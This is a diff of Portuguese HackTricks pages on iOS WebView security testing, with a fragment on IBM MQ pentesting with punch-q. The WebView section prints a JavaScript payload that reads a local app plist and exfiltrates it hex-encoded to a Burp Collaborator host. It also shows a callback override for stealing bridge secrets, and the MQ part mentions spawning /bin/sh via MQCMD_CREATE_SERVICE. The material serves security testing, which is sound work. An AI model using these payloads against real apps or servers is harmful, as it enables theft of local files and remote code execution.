Além disso, para encontrar como um **WKWebView** é inicializado, o seguinte comando é executado, visando a assinatura do método relacionado à sua inicialização:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||||
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||||
```
|
||||
#### Testando Configuração de JavaScript
|
||||
#### **Verificação de Configuração do JavaScript**
|
||||
|
||||
Para `WKWebView`s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de `WKPreferences` e garanta que a propriedade [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esteja configurada como `false`:
|
||||
```
|
||||
let webPreferences = WKPreferences()
|
||||
webPreferences.javaScriptEnabled = false
|
||||
```
|
||||
Se você tiver apenas o binário compilado, pode procurar isto nele:
|
||||
Para o **WKWebView**, é destacado que desativar o JavaScript é uma prática recomendada, a menos que seja necessário. O binário compilado é pesquisado para confirmar que a propriedade `javaScriptEnabled` está definida como `false`, garantindo que o JavaScript esteja desativado:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
||||
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
|
||||
```
|
||||
#### Testando OnlySecureContent
|
||||
#### **Apenas Verificação de Conteúdo Seguro**
|
||||
|
||||
Em contraste com `UIWebView`s, ao usar `WKWebView`s é possível detectar [conteúdo misto](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.\
|
||||
No binário compilado:
|
||||
**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
### **Ideias de Análise Dinâmica**
|
||||
|
||||
### Análise Dinâmica
|
||||
A análise dinâmica envolve a inspeção do heap em busca de instâncias de WebView e suas propriedades. Um script chamado `webviews_inspector.js` é usado para esse fim, visando instâncias de `UIWebView`, `WKWebView` e `SFSafariViewController`. Ele registra informações sobre as instâncias encontradas, incluindo URLs e configurações relacionadas a JavaScript e conteúdo seguro.
|
||||
|
||||
É possível inspecionar o heap via `ObjC.choose()` para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades `javaScriptEnabled` e `hasonlysecurecontent`:
|
||||
A inspeção do heap pode ser realizada usando `ObjC.choose()` para identificar instâncias de WebView e verificar as propriedades `javaScriptEnabled` e `hasonlysecurecontent`.
|
||||
|
||||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
```objetivec
|
||||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
|
@ -135,75 +119,32 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|||
}
|
||||
});
|
||||
```
|
||||
Carregue-o com:
|
||||
{% endcode %}
|
||||
|
||||
O script é executado com:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
|
||||
hasOnlySecureContent: false
|
||||
```
|
||||
## Manipulação de Protocolo WebView
|
||||
**Resultados Chave**:
|
||||
- Instâncias de WebViews são localizadas e inspecionadas com sucesso.
|
||||
- A ativação do JavaScript e as configurações de conteúdo seguro são verificadas.
|
||||
|
||||
Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo:
|
||||
Este resumo encapsula os passos críticos e comandos envolvidos na análise das configurações do WebView por meio de abordagens estáticas e dinâmicas, focando em recursos de segurança como a ativação do JavaScript e a detecção de conteúdo misto.
|
||||
|
||||
* http(s)://
|
||||
* file://
|
||||
* tel://
|
||||
## Manipulação de Protocolo do WebView
|
||||
|
||||
WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.
|
||||
Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que ao carregar conteúdo local, precauções devem ser tomadas para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si.
|
||||
|
||||
### Carregamento de conteúdo WebView
|
||||
**WebViews** oferecem diferentes métodos para carregar conteúdo. Para **UIWebView**, agora obsoleto, são utilizados métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar um URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado.
|
||||
|
||||
* **UIWebView**: Pode usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para carregar conteúdo.
|
||||
* **WKWebView**: Pode usar os métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para carregar arquivos HTML locais e `loadRequest:` para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Além disso, você também deve verificar se o aplicativo está usando o método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Seu primeiro parâmetro é `URL` e contém a URL a ser carregada no WebView, seu segundo parâmetro `allowingReadAccessToURL` pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse **diretório estarão disponíveis para o WebView**. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
|
||||
|
||||
Se você tem o código-fonte, pode procurar por esses métodos. Tendo o **binário** **compilado**, você também pode procurar por esses métodos:
|
||||
Para encontrar esses métodos no código-fonte ou binário compilado, comandos como os seguintes podem ser usados:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
### Acesso a Arquivos
|
||||
Em relação ao **acesso a arquivos**, o UIWebView permite universalmente, enquanto o WKWebView introduz configurações `allowFileAccessFromFileURLs` e `allowUniversalAccessFromFileURLs` para gerenciar o acesso a URLs de arquivos, sendo ambas falsas por padrão.
|
||||
|
||||
* **UIWebView:**
|
||||
* O esquema `file://` está sempre ativado.
|
||||
* O acesso a arquivos a partir de URLs `file://` está sempre ativado.
|
||||
* O acesso universal a partir de URLs `file://` está sempre ativado.
|
||||
* Se você recuperar a origem efetiva de um `UIWebView` onde `baseURL` também está definido como `nil`, você verá que **não está definido como "null"**, em vez disso, você obterá algo semelhante ao seguinte: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`. Esta origem "applewebdata://" é semelhante à origem "file://" pois **não implementa a Política de Mesma Origem** e permite acesso a arquivos locais e quaisquer recursos da web.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exfiltrate_file" %}
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
* **WKWebView**:
|
||||
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de outras URLs com esquema `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `falso` por padrão): permite que o JavaScript executando no contexto de uma URL com esquema `file://` acesse conteúdo de qualquer origem.
|
||||
|
||||
Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.\
|
||||
Além disso, você pode usar o seguinte script frida para encontrar essa informação:
|
||||
Um exemplo de script Frida é fornecido para inspecionar as configurações de segurança do **WKWebView**:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
|
@ -221,22 +162,8 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
|
||||
```bash
|
||||
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
||||
Library/WKWebView/scenario1.html
|
||||
javaScriptEnabled: true
|
||||
allowFileAccessFromFileURLs: 0
|
||||
hasOnlySecureContent: false
|
||||
allowUniversalAccessFromFileURLs: 0
|
||||
```
|
||||
#### Exfiltrar arquivos arbitrários
|
||||
Por último, um exemplo de um payload JavaScript destinado a exfiltrar arquivos locais demonstra o risco de segurança potencial associado a WebViews mal configurados. Este payload codifica o conteúdo do arquivo em formato hexadecimal antes de transmiti-los para um servidor, destacando a importância de medidas de segurança rigorosas nas implementações de WebViews.
|
||||
```javascript
|
||||
//For some reason this payload doesn't work!!
|
||||
//Let me know if you know how to exfiltrate local files from a WKWebView
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
|
@ -260,22 +187,22 @@ xhr.send(null);
|
|||
```
|
||||
## Métodos Nativos Expostos Através de WebViews
|
||||
|
||||
Desde o iOS 7, a Apple introduziu APIs que permitem **comunicação entre o runtime do JavaScript no WebView e os objetos nativos** Swift ou Objective-C.
|
||||
## Compreendendo as Interfaces Nativas da WebView no iOS
|
||||
|
||||
Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:
|
||||
A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em uma WebView e objetos nativos** Swift ou Objective-C. Essa integração é principalmente facilitada por meio de dois métodos:
|
||||
|
||||
* **JSContext**: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um `JSContext`, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript.
|
||||
* **Protocolo JSExport**: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de `JSExport` são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.
|
||||
- **JSContext**: Uma função JavaScript é criada automaticamente quando um bloco Swift ou Objective-C é vinculado a um identificador dentro de um `JSContext`. Isso permite uma integração e comunicação perfeitas entre JavaScript e código nativo.
|
||||
- **Protocolo JSExport**: Ao herdar o protocolo `JSExport`, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são refletidas no ambiente nativo, e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por meio deste método.
|
||||
|
||||
Note que **apenas membros de classe definidos no protocolo `JSExport`** são acessíveis ao código JavaScript.\
|
||||
Fique atento ao código que mapeia objetos nativos para o `JSContext` associado a um WebView e analise que funcionalidades ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto a WebViews.\
|
||||
Em Objective-C, o `JSContext` associado a um `UIWebView` é obtido da seguinte forma:
|
||||
```objectivec
|
||||
### Acessando `JSContext` em Objective-C
|
||||
|
||||
Em Objective-C, o `JSContext` para um `UIWebView` pode ser recuperado com a seguinte linha de código:
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
O código JavaScript em um **`WKWebView` ainda pode enviar mensagens de volta para o aplicativo nativo, mas, ao contrário do `UIWebView`, não é possível referenciar diretamente o `JSContext`** de um `WKWebView`. Em vez disso, a comunicação é implementada usando um sistema de mensagens e utilizando a função `postMessage`, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Os manipuladores de mensagens são configurados usando o método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
### Comunicação com `WKWebView`
|
||||
|
||||
### Habilitando JavascriptBridge
|
||||
Para `WKWebView`, o acesso direto ao `JSContext` não está disponível. Em vez disso, a passagem de mensagens é utilizada através da função `postMessage`, permitindo a comunicação entre JavaScript e nativo. Os manipuladores para essas mensagens são configurados da seguinte forma, permitindo que o JavaScript interaja com o aplicativo nativo de forma segura:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -288,23 +215,21 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
}
|
||||
}
|
||||
```
|
||||
### Enviando Mensagem
|
||||
### Interação e Teste
|
||||
|
||||
Adicionar um manipulador de mensagens de script com o nome `"name"` (ou `"javaScriptBridge"` no exemplo acima) faz com que a função JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` seja definida em todos os frames em todas as web views que usam o controlador de conteúdo do usuário. Pode então [ser usado a partir do arquivo HTML assim](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
||||
O JavaScript pode interagir com a camada nativa definindo um manipulador de mensagens de script. Isso permite operações como invocar funções nativas a partir de uma página da web:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
}
|
||||
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
||||
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
||||
|
||||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Uma vez que a função Nativa é executada, ela geralmente irá **executar algum JavaScript dentro da página web** (veja `evaluateJavascript` abaixo), você pode estar interessado em **substituir a função** que será executada para **roubar o resultado**.\
|
||||
Por exemplo, no script abaixo, a função **`javascriptBridgeCallBack`** será executada com 2 parâmetros (a função chamada e o **resultado**). Se você controla o HTML que será carregado, você pode criar um **alerta com o resultado** como:
|
||||
```markup
|
||||
Para capturar e manipular o resultado de uma chamada de função nativa, pode-se substituir a função de retorno de chamada dentro do HTML:
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
|
@ -314,74 +239,53 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
### Função Chamada
|
||||
|
||||
A função chamada reside em [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
||||
O lado nativo lida com a chamada JavaScript conforme mostrado na classe `JavaScriptBridgeMessageHandler`, onde o resultado de operações como a multiplicação de números é processado e enviado de volta para o JavaScript para exibição ou manipulação adicional:
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
|
||||
//...
|
||||
|
||||
// Handling "multiplyNumbers" operation
|
||||
case "multiplyNumbers":
|
||||
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
//...
|
||||
|
||||
// Callback to JavaScript
|
||||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
}
|
||||
```
|
||||
### Testando
|
||||
## Depuração de WebViews no iOS
|
||||
|
||||
Para testar o envio de uma postMessage dentro de um aplicativo, você pode:
|
||||
(Tutorial baseado no [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
* Alterar a resposta do servidor (MitM)
|
||||
* Realizar uma instrumentação dinâmica e injetar o payload JavaScript usando frameworks como Frida e as respectivas funções de avaliação JavaScript disponíveis para os iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` e [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
|
||||
Para depurar efetivamente o conteúdo da web dentro de WebViews no iOS, é necessário um setup específico envolvendo as ferramentas de desenvolvedor do Safari, devido ao fato de que as mensagens enviadas para `console.log()` não são exibidas nos logs do Xcode. Aqui está um guia simplificado, enfatizando etapas e requisitos-chave:
|
||||
|
||||
## Depurando iOS WebViews
|
||||
- **Preparação no Dispositivo iOS**: O Safari Web Inspector precisa ser ativado no seu dispositivo iOS. Isso é feito acessando **Configurações > Safari > Avançado**, e habilitando o _Web Inspector_.
|
||||
|
||||
(Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
- **Preparação no Dispositivo macOS**: Em sua máquina de desenvolvimento macOS, você deve habilitar as ferramentas de desenvolvedor dentro do Safari. Inicie o Safari, acesse **Safari > Preferências > Avançado**, e selecione a opção _Mostrar menu Desenvolver_.
|
||||
|
||||
Nos webviews do iOS, mensagens enviadas para `console.log()` _não_ são impressas nos logs do Xcode. Ainda é relativamente fácil depurar conteúdo web com as ferramentas de desenvolvedor do Safari, embora existam algumas limitações:
|
||||
- **Conexão e Depuração**: Após conectar seu dispositivo iOS ao seu computador macOS e iniciar sua aplicação, use o Safari em seu dispositivo macOS para selecionar a WebView que deseja depurar. Navegue até _Desenvolver_ na barra de menu do Safari, passe o mouse sobre o nome do seu dispositivo iOS para ver uma lista de instâncias de WebView, e selecione a instância que deseja inspecionar. Uma nova janela do Safari Web Inspector será aberta para esse propósito.
|
||||
|
||||
* A depuração de webviews do iOS requer Safari, então seu computador de desenvolvimento deve estar executando macOS.
|
||||
* Você só pode depurar webviews em aplicativos carregados em seu dispositivo através do Xcode. Não é possível depurar webviews em apps instalados pela App Store ou Apple Configurator.
|
||||
No entanto, esteja ciente das limitações:
|
||||
|
||||
Com essas limitações em mente, aqui estão os passos para depurar remotamente um webview no iOS:
|
||||
- Depurar com este método requer um dispositivo macOS, pois depende do Safari.
|
||||
- Apenas WebViews em aplicativos carregados em seu dispositivo através do Xcode são elegíveis para depuração. WebViews em aplicativos instalados via App Store ou Apple Configurator não podem ser depurados dessa maneira.
|
||||
|
||||
* Primeiro, habilite o Safari Web Inspector no seu dispositivo iOS abrindo o aplicativo _Configurações_ do iOS, navegando até **Configurações > Safari > Avançado**, e ativando a opção _Web Inspector_.
|
||||
|
||||
![Configurações do Safari no iOS](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
|
||||
* Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até **Safari > Preferências** na barra de menus. No painel de preferências que aparece, clique na aba _Avançado_ e depois habilite a opção _Mostrar menu Desenvolvedor_ na parte inferior. Depois disso, você pode fechar o painel de preferências.
|
||||
|
||||
![Configurações do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
|
||||
* Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
|
||||
* No Safari em seu computador de desenvolvimento, clique em _Desenvolvedor_ na barra de menus e passe o mouse sobre a opção dropdown que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução no seu dispositivo iOS.
|
||||
|
||||
![Menu de desenvolvedor do Safari no Mac](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
|
||||
* Clique na opção dropdown para o webview que você deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
|
||||
|
||||
![Janela do Safari Web Inspector](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -64,7 +64,7 @@ Em seguida, você pode clonar o projeto [**pymqi**](https://github.com/dsuch/pym
|
|||
|
||||
#### Com Docker
|
||||
|
||||
Basta usar: `sudo docker run --rm -ti leonjza/punch-q`.
|
||||
Simplesmente use: `sudo docker run --rm -ti leonjza/punch-q`.
|
||||
|
||||
#### Sem Docker
|
||||
|
||||
|
@ -133,7 +133,7 @@ logging.info('Found channel `%s`' % channel_name)
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Mas **punch-q** também incorpora essa parte (com mais informações!).
|
||||
... Mas o **punch-q** também incorpora essa parte (com mais informações!).
|
||||
Pode ser iniciado com:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
|
@ -199,7 +199,7 @@ Você pode direcionar fila(s)/canal(is) para farejar/extrair mensagens deles (op
|
|||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Formatos de Comando Programáveis***) é no que estamos focados para interagir remotamente com a instância. **punch-q** e ainda **pymqi** são baseados em interações PCF.
|
||||
>
|
||||
> Você pode encontrar uma lista de comandos PCF:
|
||||
> * [Da documentação PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e
|
||||
> * [Da documentação do PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), e
|
||||
> * [de constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Um comando interessante é `MQCMD_CREATE_SERVICE` e sua documentação está disponível [aqui](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Ele recebe como argumento um `StartCommand` apontando para um programa local na instância (exemplo: `/bin/sh`).
|
||||
|
@ -219,8 +219,8 @@ A criação / exclusão de serviço com PCF para execução remota de programa p
|
|||
> ```bash
|
||||
